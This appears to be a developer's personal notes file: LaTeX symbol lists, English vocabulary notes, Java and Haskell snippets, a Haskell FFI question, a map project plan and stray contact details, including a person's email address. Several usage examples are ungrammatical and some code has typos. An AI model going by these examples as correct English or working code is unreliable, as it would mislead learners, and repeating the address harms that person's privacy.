\Mapsfrom \Mapsfromchar \Mapsto \Mapstochar \Mars \Mercury \Mobilefone \Moon \Neptune \O \OE \Omega \P \Phi \Pi \Pickup \Pisces \Pluto \Pointinghand \Pr \Psi \RHD \RIGHTCIRCLE \RIGHTarrow \RIGHTcircle \Rbag \Re \Rectpipe \Rightarrow \Rightcircle \Rightscissors \Righttorque \Rsh \S \SS \Sagittarius \Saturn \Scorpio \Sigma \Smiley \Snowflake \Square \Squaredot \Squarepipe \Stopsign \Subset \Sun \Supset \TTsteel \Taurus \Telefon \Theta \Thorn \Tsteel \UParrow \Uparrow \Updownarrow \Upsilon \Uranus \VHF \Vdash \Vectorarrow \Vectorarrowhigh \Venus \Virgo \Vvdash \Womanface \Womanfront \Womanside \Writinghand \XBox \Xi \Ydown \Yingyang \Yleft \Yright \[\left(\begin{array}{cc} F_{n+1} & F_{n} \\ F_{n} & F_{n-1} \end{array} \right)^n = \left(\begin{array}{cc}1 & 1 \\ 1 & 0 \end{array} \right)^n \] \acute \ae \agemO \aleph \alpha \alpha \amalg \angle \apprge \apprle \approx \approxeq \arccos \arcsin \arctan \arg \arrownot \arrowvert \ascnode \ast \astrosun \asymp \ataribox \backepsilon \backprime \backsim \backsimeq \backslash \bar \baro \barwedge \bbslash \because \begin{align*} \begin{align*}  \end{align*} \begin{aligned} \begin{array}{c} \begin{array}{lcl} \begin{asy} \begin{bmatrix} \begin{center} \begin{definition} \begin{definition} \begin{document} \begin{equation} \begin{example} \begin{flushleft} \begin{note} \begin{proof} \begin{proof}[Solution] \begin{split} \begin{theorem} \bell \beta \beta \beth \between \bigbox \bigcap \bigcirc \bigcup \bigcurlyvee \bigcurlywedge \biginterleave \bignplus \bigodot \bigoplus \bigotimes \bigparallel \bigsqcap \bigsqcup \bigstar \bigtriangledown \bigtriangleup \biguplus \bigvee \bigwedge \binampersand \bindnasrepma \blacklozenge \blacksmiley \blacksquare \blacktriangle \blacktriangledown \blacktriangleleft \blacktriangleright \bot \bowtie \boxast \boxbar \boxbox \boxbslash \boxcircle \boxdot \boxempty \boxminus \boxplus \boxslash \boxtimes \bracevert \breve \brokenvert \bullet \bumpeq \cap \cdot \cdotp \cdots \cent \centerdot \check \checked \checkmark \chi \circ \circeq \circlearrowleft \circlearrowright \circledR \circledS \circledast \circledcirc \circleddash \clock \clubsuit \colon \color{blue}{} \color{red}{} \color{yellow}{} \complement \cong \coprod \copyright \cos \cosh \cot \coth \csc \cup \curlyeqprec \curlyeqsucc \curlyvee \curlyveedownarrow \curlyveeuparrow \curlywedge \curlywedgedownarrow \curlywedgeuparrow \currency \curvearrowleft \curvearrowright \dag \dagger \daleth \dashleftarrow \dashrightarrow \dashv \davidsstar \ddag \ddagger \ddot \ddots \deg \delta \descnode \det \det\left(\begin{bmatrix} \dh \diagdown \diagup \diameter \diamond \diamondsuit \digamma \dim \ding \div \divideontimes \dot \doteq \doteqdot \dotplus \dots \doublebarwedge \downarrow \downdownarrows \downharpoonleft \downharpoonright \earth \eighthnote \ell \emptyset \epsilon \eqcirc \eqslantgtr \eqslantless \equiv \eta \eth \exists \exp \fallingdotseq \fatbslash \fatsemi \fatslash \fax \female \flat \footnotesize \forall \frac{} \frown \frownie \fullmoon \fullnote \gamma \gcd \geq \geqq \geqslant \gg \ggg \gimel \gluon \gnapprox \gneq \gneqq \gnsim \grave \gtrapprox \gtrdot \gtreqless \gtreqqless \gtrless \gtrsim \gvertneqq \halfnote \hat \hbar \heartsuit \hexagon \hexstar \hom \hookleftarrow \hookrightarrow \hslash \huge \iiint \iint \imath \in \inf \infty \inplus \int \intercal \interleave \invdiameter \inve \invneg \iota \jmath \jupiter \kappa \ker \kreuz \l \lambda \langle \large \lbag \lceil \ldotp \ldots \leadsto \left< , \right> \left< u + v, w \right> \left< u, v \right> \left[ \begin{array}{c} \left[ \begin{array}{c} \left[\begin{array}{c} \leftarrow \leftarrowtail \leftarrowtriangle \leftharpoondown \leftharpoonup \leftleftarrows \leftmoon \leftrightarrow \leftrightarroweq \leftrightarrows \leftrightarrowtriangle \leftrightharpoons \leftrightsquigarrow \leftslice \leftthreetimes \leftturn \leq \leqq \leqslant \lessapprox \lessdot \lesseqgtr \lesseqqgtr \lessgtr \lesssim \lfloor \lg \lgroup \lhd \lightning \lim \liminf \limsup \ll \llbracket \llceil \llcorner \llfloor \lll \lmoustache \ln \lnapprox \lneq \lneqq \lnsim \log \logof \longleftarrow \longleftrightarrow \longmapsfrom \longmapsto \longrightarrow \looparrowleft \looparrowright \lozenge \lrcorner \ltimes \lvertneqq \male \maltese \mapsfrom \mapsfromchar \mapsto \mars \mathbb \mathbbm \mathbbmss \mathbbmtt \mathbb{C} \mathbb{N} \mathbb{Q} \mathbb{R} \mathbb{} \mathbf{A^{\ast}} \mathbf{A} \mathbf{A} \mathbf{B^{\ast}} \mathbf{B} \mathbf{B} \mathbf{C^{\ast}} \mathbf{C} \mathbf{I} \mathbf{P^{\ast}} \mathbf{P} \mathbf{Q} \mathbf{} \mathcal \mathds \mathfrak \mathit \mathit{} \mathnormal \mathpzc \mathrm \mathscr \max \mbox{} \measuredangle \mercury \merge \mho \mid \min \minuso \models \moo \mp \mu \multimap \nLeftarrow \nLeftrightarrow \nRightarrow \nVDash \nabla \natural \ncong \nearrow \neg \neptune \neq \newenvironment \newmoon \nexists \ngeq \ngeqq \ngeqslant \ngtr \ni \niplus \nleftarrow \nleftrightarrow \nleq \nleqq \nleqslant \nless \nmid \nnearrow \nnwarrow \normalsize \notbackslash \notslash \nparallel \nplus \nprec \npreceq \nrightarrow \nshortmid \nshortparallel \nsim \nsubseteq \nsucc \nsucceq \nsupseteq \nsupseteqq \ntriangleleft \ntrianglelefteq \ntrianglelefteqslant \ntriangleright \ntrianglerighteq \ntrianglerighteqslant \nu \nvDash \nvdash \nwarrow \o \obar \oblong \obslash \ocircle \octagon \odot \oe \ogreaterthan \oiint \oint \olessthan \omega \ominus \openo \oplus \oslash \otimes \ovee \overbrace \overleftarrow \overline \overrightarrow \owedge \parallel \partial \pentagon \permil \perp \phi \phi \phone \photon \pi \pitchfork \pluto \pm \pointer \pounds \prec \precapprox \preccurlyeq \preceq \precnapprox \precnsim \precsim \prime \prod \propto \psi \qquad \quad \quarternote \rangle \rbag \rceil \recorder \rfloor \rgroup \rhd \rho \rightarrow \rightarrowtail \rightarrowtriangle \rightharpoondown \rightharpoonup \rightleftarrows \rightleftharpoons \rightmoon \rightrightarrows \rightslice \rightsquigarrow \rightthreetimes \rightturn \risingdotseq \rmoustache \rrbracket \rrceil \rrfloor \rrparenthesis \rtimes \saturn \scriptsize \searrow \sec \section{} \setminus \sharp \shortdownarrow \shortleftarrow \shortmid \shortparallel \shortrightarrow \shortuparrow \sigma \sigma \sim \simeq \sin \sinh \small \smallfrown \smallsetminus \smallsmile \smile \smiley \spadesuit \sphericalangle \sqcap \sqcup \sqrt \sqsubset \sqsubseteq \sqsupset \sqsupseteq \square \ss \ssearrow \sslash \sswarrow \star \subsection{} \subset \subseteq \subseteqq \subsetneq \subsetneqq \subsetplus \subsetpluseq \succ \succapprox \succcurlyeq \succeq \succnapprox \succnsim \succsim \sum \sun \sup \supset \supseteq \supseteqq \supsetneq \supsetneqq \supsetplus \supsetpluseq \surd \swarrow \talloblong \tan \tanh \tau \textacutedbl \textascendercompwordmark \textasciiacute \textasciibreve \textasciicaron \textasciicircum \textasciidieresis \textasciigrave \textasciimacron \textasciitilde \textasteriskcentered \textbackslash \textbaht \textbar \textbardbl \textbigcircle \textblank \textborn \textbraceleft \textbraceright \textbrokenbar \textbullet \textcapitalcompwordmark \textcelsius \textcent \textcentoldstyle \textcircledP \textcolonmonetary \textcopyleft \textcopyright \textcurrency \textdagger \textdaggerdbl \textdblhyphen \textdblhyphenchar \textdegree \textdegree \textdied \textdiscount \textdiv \textdivorced \textdollar \textdollaroldstyle \textdong \textdownarrow \texteightoldstyle \textellipsis \textemdash \textendash \textestimated \texteuro \textexclamdown \textfiveoldstyle \textflorin \textfouroldstyle \textfractionsolidus \textfrak \textgravedbl \textgreater \textguarani \textinterrobang \textinterrobangdown \textlangle \textlbrackdbl \textleaf \textleftarrow \textless \textlira \textlnot \textlquill \textmarried \textmho \textminus \textmu \textmusicalnote \textnaira \textnineoldstyle \textnumero \textohm \textonehalf \textoneoldstyle \textonequarter \textonesuperior \textopenbullet \textordfeminine \textordmasculine \textparagraph \textperiodcentered \textpertenthousand \textperthousand \textpeso \textpilcrow \textpm \textquestiondown \textquotedblleft \textquotedblright \textquoteleft \textquoteright \textquotesingle \textquotestraightbase \textquotestraightdblbase \textrangle \textrbrackdbl \textrecipe \textreferencemark \textregistered \textregistered \textrightarrow \textrquill \textsection \textservicemark \textsevenoldstyle \textsixoldstyle \textsterling \textsurd \textswab \textthreeoldstyle \textthreequarters \textthreequartersemdash \textthreesuperior \texttildelow \texttimes \texttrademark \texttwelveudash \texttwooldstyle \texttwosuperior \textunderscore \textuparrow \textvisiblespace \textwon \textyen \textzerooldstyle \text{} \therefore \theta \thickapprox \thicksim \thorn \tilde \times \tiny \top \triangle \triangledown \triangleleft \trianglelefteq \trianglelefteqslant \triangleq \triangleright \trianglerighteq \trianglerighteqslant \twoheadleftarrow \twoheadrightarrow \twonotes \ulcorner \underbrace \underline \unlhd \unrhd \uparrow \updownarrow \upharpoonleft \upharpoonright \uplus \upsilon \upuparrows \uranus \urcorner \vDash \varangle \varbigcirc \varcurlyvee \varcurlywedge \varepsilon \varhexagon \varhexstar \varint \varkappa \varnothing \varoast \varobar \varobslash \varocircle \varodot \varogreaterthan \varoint \varolessthan \varominus \varoplus \varoslash \varotimes \varovee \varowedge \varphi \varpi \varpropto \varrho \varsigma \varsubsetneq \varsubsetneqq \varsupsetneq \varsupsetneqq \vartheta \vartimes \vartriangle \vartriangleleft \vartriangleright \vdash \vdots \vec \vee \veebar \venus \vernal \wasylozenge \wasypropto \wasytherefore \wedge \widehat \widetilde \wp \wr \xi a broad range of domains a wide range of domains absolute accomplish adjacenty matrix algebraic datatype alias all hs has to do is hit the "Merge" button to aprove the pull request and merge Mary's feature into his master branch although - however, but - he says he has the team jersey, although I have never seen him wear it. although - in spite of the fact that - although the sun is shinning it wasn't that warm. among - preposition, you have to decide among yourself ancestor - a person, typically a more remote than a grandparent anonymous antastic appear - he appeared out of nowhere appear - it appears as if you got the wrong direction to school appear - it appears that he is not the first choice appear - she appears quite nervous driver appear - they appeared to be contented arbitrary associativity at the beginning of at the bottom of at the end of string at the end of the day attachment attractors auxiliary available average before diving into the details beside - he sat beside[next to] me[preposition] besides - It's unlikely anyone besides Tom would consider to taking the job[preposition] besides - [except] besides paying tennis, she skis very well[preposition] besides - [in addition to] Besides its famours cake, the bakery also make delicious bread and cookies[preposition] besides - he no friend besides me[preposition] besides - there is no one there besides[except] me[preposition] binary search tree binary tree but - The festival is held today, but it is canceled today because of the rainy weather [compound sentense] cache caches can not cascade cash catch(IOException e){ e.printStackTrack(); } catch(IOException io) circular LinkedList command abbreviations commission communicate complicated concise consecutive constrain constraint - limitation, restriction constraint satifaction problems continguous - non-continguous memory continua - noun continue - verb continuouc continuously - adverb, continuum - noun plura convenience convenient count the frequency of words in a file. criteria - pl criterion - noun cursor position customized declaration declare dedicated deep - adjective, extending far down from the top deletion, lookup and insection deletion, lookup and insection are all O(log n) delimiter deprecate deprecate deprecate - verb deprecated deprecated - what does the deprecated API warning mean deprecated API deprecated function deprecation depress depressed depth - the depth of a node is the number of edges from the node to tree's root node descend - move or fall downward: the aircraft began to descend descendant deserialize desperate desperately destroy diophantine equation distribution does't make sense double LinkedList double quotation double quotes invertible inverse invert invertibility double-checked locking duplicated dynamic programming ecstatic - feeling or expressing overwhelming happiness or joyful excitement statistic statistical statistically statistician statistics elegant ender cursor environment variable error message will also be ignored error message will also be skipped essential essentiality essentially evaluate expression even though - Even though he never finish college, he run a successful software company. even though - He run a successful software company even though he never finish college. exactable exactly except - Nothing else mattered except that he is alive except - There is no one in the room except Michelle excited excitement exciting explanation explanatry comments explicitly explicitly specify exposed exposed-modules: extends extra - added to existing or usual amount or number. extra - an additional item extract - an item is removed from sth extract - remove or take out extremely facial recognition facilitate facilitate - make the action or process easy or easier fantacies fantacy fantacying fantastic fascinate feature fill in the form fill the form up fill up my tank fill up the form fill up the gas fixed a bug in which special characters are not escaped properly. fixed a bug where special characters are not escaped properly. fixed an issue in which special characters are not escaped properly. fixed an issue where special characters are not escaped properly. Character character follow up foreign key fortunately forward declaration fuel - supply or power with fuel: the plan includes a hydroelectric plant to fuel a paper factory function function name give me a good explanation gorgeous It is grammatically correct. It is grammatically incorrect. gramma grammar grammatically grammatically correct he is used to be a doctor. hirearch hirearchic hirearchy however - The festival is help today; however, it is canceled due to the rainy weather [compound sentense] however - The sport event, however, continued despite the weather. [no a compound sentense] hundred - a hundreds of, a thousands of, a number of implements implicitly implicitly specify import classfile.*; import java.io.*; import java.util.*; import java.util.Collections; import java.util.function.BiConsumer; import java.util.function.BiFunction; import java.util.function.Function; import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.stream.*; import java.util.stream.Collectors; import javafx.util.Pair; import static classfile.Aron.*; import static classfile.Print.*; import static classfile.Test.*; impossibility impossible in despite of in plenty of in spite of - He drove to work in spite of the blizzard. in the middle of string or at the end of string indexable indexes indexible indices industry-leading initialization initialize initialized instance instantiate instantiate instantiate object instead intellectual interested - are you interested in the job. interesting - it will be very interesting to see what they can come up with. is related is this grammatically correct? isomorphic isomorphism isomorphous it is hard problem to crack it is hard problem to figure out it is hard problem to solve it is impossible it is not very organized it seems to be it seems to me that knowledge linked list literally make sense markdown maximum memory management and caches merge sort merge sort is O(nlog n) merging two lists into a new list with no duplicated and in order. million millisecond minimum mutual exclusion nanosecond negotiable newtype NewType a = NewType{name::String -> a}, data MyType = T1 | T2 Int | T3 String, type Str = String number - a hundreds of, a thousands of, a number of obstacles organization organized pending - [adjective] the case was still pending pending - [preposition] they were released on bail pending an appeal permanent permanently precede precede - come before the order or position predecessor predict - estimate - guess - evaluate predictable programming language properly properties property public String toString(){ return "firstName=" + firstName + " lastName=" + lastName + " age=" + age; } public static void get(){} public static void print(Node node, String str){ public static void print(Node r){ } public static void test1() public void get() public void get(){} push forward or pull back pythagorean theorem quantum key distribution quantum satellite quantum technology quick sort quick sort algorithm quick sort is O(nlog n) quickSort algorithm radius read user's info from database readFileToList::FilePath->IO [String] recognizable recognize recruiter regex example regular expression related relative religion restrict - put a limit on, keep it under control ridiculous runtime is O(log n) runtime is O(nlog n) satifaction scene - a place where an incident in real life occurs or occurred. scratch buffer seem - it seems crazy that we have to pay twice seem - it seems to me he is smart kid sense - be aware of: she could sense her father's anger rising. separate separately separator serialization serialize sign signature significance significant signify simultaneous single LinkedList single quote six senses slice - [noun] a thin, broad piece of food, such as bread, meat or cake, cut from larger portion: four slices of bread, potato slices slide - [slid, past, past participle] move alone the surface while maintaining continuous contact with it. some difficult problems some hard problems some knowledge about special characters spellfile spite - [spait, noun, verb] a desire to hurt, annoy, or offend someone: he would think I was saying it out of spite. statistic statistical statistical information strict strictly speaking stylesheet succcintly succeed success successful successfully successor succinct succinctly succinctness such as surprisedly synchronization synonym synonym plural singular technics technique techie technic technical technically technically - Technically speaking, I awoke at normal time of 6:50am technologies technology temporaries temporarily temporariness temporary temporise temporization temporize temporizer terminoloies terminoloy the directory to read from the directory to write to the feature's commit history, and a diff of all the changes it contains the file to read from the file to write to the name of file or buffer to read from the name of file or buffer to write to theorically thesaurus this is foreign key this is this is foreign key thousand - a hundreds of, a thousands of, a number of traditional trigonometry trigonometry trigonometry trigonometry trigonometry try{ } catch(IOException e){ e.printStackTrack(); } unfortunately unpredictable various projects vimrc file voicemail ware Engineer while(r != null){ } Here is the scenario scenario appreciated Any suggestion foreshadow forehead fore - adjective, the front part of something weird it is weird Any suggestion would be appreciated! Ok, I will follow up on that. Would you give me an update on the issue? Please send me Please send me the xxx if you are free. get file modification time file modification time modification time file timestamp can you contact me if you are free BufferedWriter bw = new BufferedWriter(new FileWriter(fname)); BufferedReader br = new BufferedReader(new FileReader(fname)); StringBuffer sb = new StringBuffer(s); statusline partition while(!q2.isEmpty()){ efficient efficiency coefficient more efficient it is more efficient boxing and unboxing types primitive types object oriented programming multi-paradigm operator overloading functional programming lambda functions Integer[] listmax = new Integer[len]; Integer[][] listmax = new Integer[len][len]; BiFunction f = (x, y) -> x.data - y.data == 0; List list9 = Arrays.asList("cat1", "dog1", "cow1"); public static void t(List list1, List list2) { int len1 = list1.length(); int len2 = list2.length(); function call. modify an argument Documents document documents Doxygen ugly configuration effort effect passed by reference passed by value passed by pointer factorial factor exponential fibonacci number How can I write a shell script logarithm arithmetic arithmetically algorithm jump back and forth microscope telescope scope scoped - the project is scoped correctly Org-mode org-mode orgmode global-set-key vertically Bjarne Stroustrup Stroustrup The author of c++ is Bjarne Stroustrup Constable Chateau cheetah temparally rally - troop come together and continue fighting a defeat or dispersion dispersion homotopy theory type theory curfew Justin Trudeau prefix - plural prefixes, preppend add something at the beginning of sth, introduction to something, all three-digits numbers will now be prefixed by 110 suffix - plural suffixes, append, add something at the end of sth otherwise - I did not like the ending, but otherwise it was a very good book. otherwise - If you are a student then you should study hard. Otherwise, you should find a decent job. decent - common, acceptable descent - downward, move down concrete - physical form sometime - Give me a call sometime, and we'll have a coffee. some time - For some time, humans has known that the world is round. sometimes - Sometimes I will play soccer. Every one hurt sometimes. except - preposition, I like many fruits except apple except - conjuction, The brothers is alike, except that Mark is slightly taller than Kelvin. ======= umbrella embarrass # I was very embarrassed when I made an mistake on spelling of 'embarrassed' embarrassed notability in fact # He want to movie at 8:00pm yesterday, but in fact he want to pub yesterday. declare declarable compare compare to comparison comparator comparable compare to # two things compare with # three or more things compared # Apple can not be compared to orange. Apple can not be compared with orange and banana postulate straight line strange person apart - adverb # two sides remained far apart on the issue. parabola parabolic radius - plural radii or radiuses radian - a unit of angle radio - signal while - Thing everyone thinks while waiting in line at Starbucks Thanks for waiting for your coffee vertical vertically horizontal horizontally many years of experience experience experiment experimental diagonal diagonal matrix diagonally matrix => matrices shuffle shuffle array avocado rearrange arrange cherry pick index => indices interested in the position I'm interested in the position hexadecimal astrophe catastrophe Angela barista Michael Mathematic Mathematically mathematician -------------------------------------------------------------------------------- Thu 25 Nov 19:41:04 2021 KEY: sdl2 dir, sdl dir /usr/local/Cellar/sdl2/2.0.16/include/SDL2 -------------------------------------------------------------------------------- KEY: strict Text and lazy Text Friday, 26 November 2021 12:44 PST Data.Text is strict type Data.Text.Lazy is lazy type Both Type almost has the same interface. The difference is strict Text using Int and lazy Text using Int64 -------------------------------------------------------------------------------- Monday, 13 December 2021 10:29 PST Hamming Distance is the distance between two strings of equal length is the number of positions at which the corresponding symbols are different. s t r a n d ↑ ↑ s t r i n g ↑ s t r o n g ↑ ↑ s t r o k e ↑ s t r i k e ↑ ↑ ↑ s t r u c k Edit distance - Hamming distance, same length, count the different symbol - Levenshtein distance, allows deletion, insertion and substitution - Long common subsequence(LCS) distance allows only insertion and deletion, no substitution -------------------------------------------------------------------------------- KEY: git diff file size URL: https://stackoverflow.com/questions/10845051/git-show-total-file-size-difference-between-two-commits DATE: Wed 12 Jan 13:31:30 2022 for i in $(git diff-tree -r HEAD~1 HEAD~0 | awk '{print $4}') ; do git cat-file -s $i; echo $i; done --------------------------------------------------------------------------- KEY: vim format java, vim format code block DATE: Sun 16 Jan 11:30:31 2022 select code block, and press = --------------------------------------------------------------------------- Fri 21 Jan 01:28:39 2022 TODO: fixed but on the image C(n, k) algorithm Fri 21 Jan 10:28:25 2022 TODO: I think there is nothing wrong with the image, C(n, k) is n! C(n,k)= -------- (n-k)! k! n! P(n, k) = ----- (n-k)! http://xfido.com/html/indexPrintAllPermutationofanArray.html --------------------------------------------------------------------------- Google map project: 1. TODO: Buy a host $50 to $80 /month (1 day) Set up password, Set up login information Set up public and private ssh login 2. TODO: Setup and config OS (3 days) Install software In the new OS system Web Server Software Set up development environment 3. TODO: Create API KEY for google map (2 days) Integrate Google map with Javascript,HTML, CSS in our host Display Google map in Our Host (with nothing, no functionarities) 4. Setup Google map for different countries. (1 day) TODO: Setup different countries languages in Google map 5. Add brand store sample address in Google map (1 day) TODO: Hard code the brand store sample address in Google map Display it in Google map 6. Create backend database to store brand store address (3 day) 7. Connect backend database with fontend, Google map (Java, HTML, CSS) (3 days) TODO: Show brand store data in Google map using our backend database. 8. Research online and find API to get following data (2 days) 1. war zones 2. disaster zones 3. flood zones 4. nuclear leakage zones 5. earthquake zones 9. If we can find above API, (3-5 days, depend on how easy the API is) TODO: Integrate above data to our Google Map in Our host 10. We might need to design a different database table the support following information in Google Map (10 days) - International Tourism Business Logo: Brand logo shows [seven stars] color: gold A: Direct distributor, agent, franchisee. B: Logistics providers and manufacturers C: The trademark We assume you have all the map data and You will give it to us. Google map data: Direct distributor A => (-22443, 33443) Google map data: Direct distributor B => (-3443, 88448) etc - International tourism e-commerce symbol [seven stars] Color: green A: Hotel, restaurant and casino We assume you have all the map data and You will give it to us. Google map data: Hotel A => (-22443, 33443) Google map data: Hotel B => (-22422, 44443) etc TODO: A. Design a database to store the information such as Direct distributor, agent franchisee Logistics providers and manufacturers The Trademark B. Design a database to store the following information: Hotel, restaurant and casino 11. Design a data analysis fontend in (Javascript, HTML, CSS, or JQuery) for sellers (10 days) TODO: 1. Write algorithm to process data 2. Display some statistical data on browser. 1. distribution of user sales type 2. the age of seller, 3. consumption period( TODO: ask Sophia, what does it mean) Time: 1 1 2 2 3 2 4 1 5 1 6 1 7 3 8 2 9 5 10 10 11 10 ----- 37 days Cost of total initial project: 40 days x 8 = 320 x 50 = $16000 Initail payment: $16000 x 30% = $4800 --------------------------------------------------------------------------- Wed 9 Feb 23:13:23 2022 fido fraud department Mandarin and Cantonese *88 from your Fido phone or 1-866-888-FIDO (3436) Weekdays: 9am to 10pm --------------------------------------------------------------------------- Interview: Rucha, Barlinge What are you doing Now? Comany in Nova Social, Build web service for motel company. Search, index, customer information, booking, Mysql, Redis, Java, Javascript, Html CSS, Fontend engineer, Initially, the company use Excel to store all the customer information such as name, address, booking info. What the project try to solve is helping the internal persona to search customer information faster, 1. Design Running Java Web services to serve REST API call, Web Services Client (Browser) <- send request (search first name: David) parameter: command = search query = David (Assume there is DB connection) Query first name from DB Create JSON Object,(Java) -> Reply JSON Object to client Javascript: display JSON on browser -------------------------------------------------------------------------- haskell haddoc bug: it was found in multiple packages: strict-0.4.0.1 strict-io-0.2.2 strict-0.4.0.1 -> System.IO.Strict strict-io-0.2.2 -> System.IO.Strict --------------------------------------------------------------------------- ### Can anyone explain to me why the following does work? ``` data MyType = MyType { a :: Int, s :: String} deriving(Show) MyType <$> (Just 1) <*> (Just "abc") ``` I understand the following ``` MyType <$> (Just 1) <*> (Just "abc") -- is same as fmap MyType (Just 1) <*> (Just "abc") > MyType <$> (Just 1) <*> (Just "abc") Just (MyType {a = 1, s = "abc"}) ``` What is the following? ``` fmap MyType (Just 1) ``` I run it on my GHCi ``` let t = fmap MyType (Just 1) :i t:: Maybe (String -> MyType) ``` If I understand correctly, MyType is same as Int -> String -> MyType ``` fmap (MyType) (Just 1) fmap (Int -> String -> MyType) (Just 1) fmap ((->) Int (String -> MyType)) (Just 1) fmap ((->) Int ((->) String MyType)) (Just 1) fmap (\x -> ((->) Int ((->) String MyType)) x) (Just 1) (Just ((->) String MyType)) (Just (String -> MyType)) ``` ### I try to use FFI to get the C struct* tm into my Haskell code but I can not figure out why there are two fields printing out garbage. In C, heder has the following struct: ```` struct tm { int tm_sec; /* seconds after the minute [0-60] */ int tm_min; /* minutes after the hour [0-59] */ int tm_hour; /* hours since midnight [0-23] */ int tm_mday; /* day of the month [1-31] */ int tm_mon; /* months since January [0-11] */ int tm_year; /* years since 1900 */ int tm_wday; /* days since Sunday [0-6] */ int tm_yday; /* days since January 1 [0-365] */ int tm_isdst; /* Daylight Savings Time flag */ long tm_gmtoff; /* offset from UTC in seconds */ char *tm_zone; /* timezone abbreviation */ }; ```` ### In Hello.c file, I have C function to mutate the ```` struct tm* ```` ### so that I can get all the field inside my Haskell Code. ```` void get_time_struct(struct tm* st){ time_t rawtime; struct tm * timeinfo; time(&rawtime ); timeinfo = localtime ( &rawtime ); st -> tm_sec = timeinfo -> tm_sec; st -> tm_min = timeinfo -> tm_min; st -> tm_hour = timeinfo -> tm_hour; st -> tm_mday = timeinfo -> tm_mday; st -> tm_mon = timeinfo -> tm_mon; st -> tm_year = timeinfo -> tm_year; st -> tm_wday = timeinfo -> tm_wday; st -> tm_yday = timeinfo -> tm_yday; st -> tm_isdst = timeinfo -> tm_isdst; st -> tm_gmtoff = timeinfo -> tm_gmtoff; st -> tm_zone = timeinfo -> tm_zone; } ```` ### In my Haskell Main.h ### I define the Haskell record: ```` data TimeInfo = TimeInfo { tm_sec::Int32 ,tm_min::Int32 ,tm_hour::Int32 ,tm_mday::Int32 ,tm_mon::Int32 ,tm_year::Int32 ,tm_wday::Int32 ,tm_yday::Int32 ,tm_isdst::Int32 ,tm_gmtoff::Int64 ,tm_zone::Ptr CChar } deriving (Show) ```` ```` foreign import ccall "get_time_struct" c_get_time_struct::Ptr TimeInfo -> IO () f_get_time_struct:: IO TimeInfo f_get_time_struct = do alloca $ \ptr -> do c_get_time_struct ptr sec <- peekByteOff ptr 0 min <- peekByteOff ptr 4 hour <- peekByteOff ptr 8 mday <- peekByteOff ptr 12 mon <- peekByteOff ptr 16 year <- peekByteOff ptr 20 wday <- peekByteOff ptr 24 yday <- peekByteOff ptr 28 isdst <- peekByteOff ptr 32 gmtoff <- peekByteOff ptr 36 zone <- peekByteOff ptr 44 return (TimeInfo sec min hour mday mon year wday yday isdst gmtoff zone) ```` ### Create an instance of Storage of TimeInfo ```` instance Storable TimeInfo where alignment _ = 8 sizeOf _ = 56 peek ptr = TimeInfo <$> peekByteOff ptr 0 <*> peekByteOff ptr 4 <*> peekByteOff ptr 8 <*> peekByteOff ptr 12 <*> peekByteOff ptr 16 <*> peekByteOff ptr 20 <*> peekByteOff ptr 24 <*> peekByteOff ptr 28 <*> peekByteOff ptr 32 <*> peekByteOff ptr 36 <*> peekByteOff ptr 44 poke ptr (TimeInfo sec min hour mday mon year wday yday isdst gmtoff zone) = do pokeByteOff ptr 0 sec pokeByteOff ptr 4 min pokeByteOff ptr 8 hour pokeByteOff ptr 12 mday pokeByteOff ptr 16 mon pokeByteOff ptr 20 year pokeByteOff ptr 24 wday pokeByteOff ptr 28 yday pokeByteOff ptr 32 isdst pokeByteOff ptr 36 gmtoff pokeByteOff ptr 44 zone ```` ### I got most of the fields are fine but ```` long tm_gmtoff; /* offset from UTC in seconds */ char *tm_zone; /* timezone abbreviation */ ```` ### both fields did not print out valid information. --------------------------------------------------------------------------- KEY: Haskell profiling, measurement and analysis DATE: Tue 17 May 23:17:25 2022 criterion package https://hackage.haskell.org/package/criterion --------------------------------------------------------------------------- KEY: GeoGebra, triangulation DATE: Monday, 23 May 2022 23:38 PDT C1 = Point( {1.3, 0.12} ) C2 = Point( {0.2, 0.6} ) C3 = Point( {0.80, 1.0} ) C4 = Point( {0.25, 0.34} ) C5 = Point( {0.5, 0.23} ) C6 = Point( {0.88, 0.9} ) C7 = Point( {0.1, 0.1} ) C8 = Point( {0.12, 0.8} ) C9 = Point( {0.74, 0.88} ) B1 = Point( {0.4, 0.33} ) B2 = Point( {1.5, 0.46} ) B3 = Point( {1.2, 0.9} ) B4 = Point( {0.7, 1.3} ) B5 = Point( {0.3, 0.9} ) B6 = Point( {0.2, 1.4} ) Segment(C5, C6) Segment(B1, C6) Segment(B4, C9) Segment(C2, B5) Segment(C6, B2) Segment(C5, B2) Segment(B1, C5) Segment(C8, B5) Segment(C2, B5) Segment(B6, B5) Segment(B5, B4) Segment(C2, B1) Segment(C4, B1) Segment(C2, C9) Segment(C9, C3) Segment(C9, C6) Segment(C2, C6) Segment(C3, C6) Segment(C6, B3) Segment(C7, C5) Segment(C4 ,C5) Segment(C5, C1) Segment(C7 ,C4) Segment(C2, C4) Segment(B4, C3) Segment(C3, B3) Segment(C7, C4) Segment(C7, C2) Segment(C8, C2) Segment(B6, B4) Segment(B4, B3) Segment(B3, B2) Segment(C1, B2) Segment(C7, C1) Segment(C7, C8) Segment(C8, B6) --------------------------------------------------------------------------- KEY: vertex array object, opengl shader, vertex shader and fragment shader DATE: Fri 27 May 12:10:28 2022 URL: https://www.khronos.org/opengl/wiki/Tutorial2:_VAOs,_VBOs,_Vertex_and_Fragment_Shaders_(C_/_SDL) Vertex Array Object contains one or more vertex buffer objects One vertex array object is the coordinate of vertexes One vertex array object is the color of vertexes Vertex Buffer Object is the memory in video card 0. Write your shader 1. Compile and Link vertex and fragment shader 2. Create vertexes in an array for Vertex Array Object position, color 3. Allocate memory for the Vertex Array Object 4. Binding the Vertex Array Object with your vertexes --------------------------------------------------------------------------- Sun 29 May 11:21:18 2022 KEY: learn something new in Haskell today data MyType = MyType Int Int deriving(Show) sum::MyType -> Int sum (MyType a b) = a + b multiply::MyTYpe -> Int multiply (MyType a b) = a * b subtract::MyType -> Int subtract (MyType a b) = a - b fun::[MyType] -> Int fun [] = 0 fun (MyType a b : cs) = a + b --------------------------------------------------------------------------- Wed 8 Jun 14:54:10 2022 KEY: sumblockgame, swift game again SKNode / \ / \ SKLabel SKShape / / 1. Rewrite createLabel() function 2. Rewrite Shape.rectangle() function 1. Move both functions inside the BlockNode : SKNode 1. It seems there is an issue with super.position 3. override BlockNode removeFromParent --------------------------------------------------------------------------- Thu 9 Jun 14:10:00 2022 marcus.dunn@service-link.us --------------------------------------------------------------------------- Sunday, 04 September 2022 11:41 PDT Just found a nice browser 